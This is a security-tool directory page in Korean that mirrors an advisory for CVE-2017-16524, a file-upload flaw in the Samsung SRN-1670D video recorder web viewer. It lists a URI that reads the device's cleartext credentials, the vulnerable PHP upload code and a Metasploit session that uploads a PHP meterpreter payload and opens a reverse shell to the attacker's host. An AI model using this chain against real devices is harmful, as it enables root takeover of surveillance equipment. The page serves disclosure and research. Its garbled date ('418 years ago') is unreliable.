Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2017-16524 — 무제한 파일 업로드 취약점 - Web Viewer 1.0.0.193 on Samsung SRN-1670D | Kitploit
도구/GitHubGitHub/realistic-security/cve-2017-16524
Exploit FrameworksVulnerability AnalysisWeb Application ExploitationPenetration TestingRed TeamingPayload Development
GitHubrealistic-security/cve-2017-16524

CVE-2017-16524

무제한 파일 업로드 취약점 - Web Viewer 1.0.0.193 on Samsung SRN-1670D

저장소 보기
418년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2017-16524

발견자

Omar Mezrag - 0xFFFFFF

영향을 받는 제품

Samsung Network Video Recorders - Web Viewer 1.0.0.193 on Samsung SRN-1670D

제품 공급업체

Hanwha / Samsung Security - https://www.hanwhasecurity.com/

취약점 유형

무제한 파일 업로드 취약점

공격 벡터

root@kitploit:~
AccessVector (AV): Network
User Interaction (UI): None
Authentication (Au): Requires single instance

영향

root@kitploit:~
Code execution (ROOT)

영향을 받는 구성 요소

root@kitploit:~
network_ssl_upload.php (tested)
network_802_1x1.php (suspected)
network_802_1x2.php (suspected)

설명

Web Viewer 1.0.0.193이 탑재된 Samsung SRN-1670D 장치는 무제한 파일 업로드 취약점에 영향을 받습니다. 'network_ssl_upload.php'는 원격 인증 공격자가 .php 확장자를 가진 파일명을 이용해 임의의 PHP 코드를 업로드하고 실행할 수 있도록 하며, 이후 upload/ 디렉터리에 있는 파일에 직접 요청하여 접근할 수 있습니다. 이 공격을 위해 인증을 받으려면, 기존의 로컬 파일 읽기 취약점(CVE-2015-8279)을 활용하여 웹 인터페이스 자격 증명을 평문으로 얻을 수 있습니다. 이 취약점은 원격 공격자가 다음 URI를 요청하여 웹 인터페이스 자격 증명을 읽을 수 있도록 합니다.

root@kitploit:~
cslog_export.php?path=/root/php_modules/lighttpd/sbin/userpw 

취약한 소스 코드 (network_ssl_upload.php) :

root@kitploit:~
    22 $path = "./upload/";
    23 $file = $_FILES[ "attachFile" ];
    24 $isApply = ( int )$_POST[ "is_apply" ];
    25 $isInstall = ( int )$_POST[ "isInstall" ];
    26 $isCertFlag = ( int )$_POST[ "isCertFlag" ];
    27 
    28 // create socket
    29 $N_message = "";
    30 $sock = mySocket_create($_is_unix_socket);
    31 $connected = mySocket_connect($_is_unix_socket, $sock);
    32 
    33 $loginInfo = new loginInfo();
    34 $retLogin = loginManager( $connected, $sock, null, $loginInfo );
    35 if ( ( $retLogin == true ) && ( $isApply == 2 || $isApply == 3 ) ) {
    36  if ($connected) {
    37   $id = $loginInfo->get_id();
    38   $xmlFile = $id.'_config.xml';
    39   $N_message = "dummy".nvr_command::DELIM;
    40   $N_message .= "userid ".$id.nvr_command::DELIM;
    41   
    42   if ( $isInstall == 1 ) {
    43    // File upload ===============================================================  
    44    if ( $file[ "error" ] 0 ) {
    45     $Error = "Error: ".$file[ "error" ];
    46    } else {
    47     $retFile = @copy( $file[ "tmp_name" ], $path.$file[ "name" ] );
    48    }
    49    // ===========================================================================
    50   }

PoC

Metasploit 모듈: samsung_srv_1670d_upload_exec

root@kitploit:~
msf exploit(samsung_srv_1670d_upload_exec) > show options 

Module options (exploit/multi/http/samsung_srv_1670d_upload_exec):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOST    192.168.1.200      yes       The target address.
   RPORT    80               yes       The target port (TCP).
   SSL      false            no        Negotiate SSL/TLS for outgoing connections
   VHOST                     no        HTTP server virtual host


Payload options (php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.1.122      yes       The listen address
   LPORT  4358             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Samsung SRN-1670D == 1.0.0.193


msf exploit(samsung_srv_1670d_upload_exec) > exploit -j 
[*] Exploit running as background job.

[*] Started reverse TCP handler on 192.168.1.122:4358 
msf exploit(samsung_srv_1670d_upload_exec) > [*] Obtaining credentails...
[+] Credentials obtained successfully: admin:pass123!
[*] Logging...
[+] Authentication Succeeded
[*] Generating payload[ eRdGKfFJ.php ]...
[*] Uploading payload...
[*] Executing payload...
[*] Sending stage (33986 bytes) to 192.168.1.200
[*] Meterpreter session 3 opened (192.168.1.122:4358 -> 192.168.1.200:55676) at 2017-06-19 11:52:22 +0100

추가 정보

'network_802_1x1.php' 및 'network_802_1x2.php'와 같은 다른 스크립트도 동일한 취약점의 영향을 받을 가능성이 있지만, 테스트하지는 않았습니다.

참고 자료

CVE-2015-8279: http://blog.emaze.net/2016/01/multiple-vulnerabilities-samsung-srn.html

도구 다운로드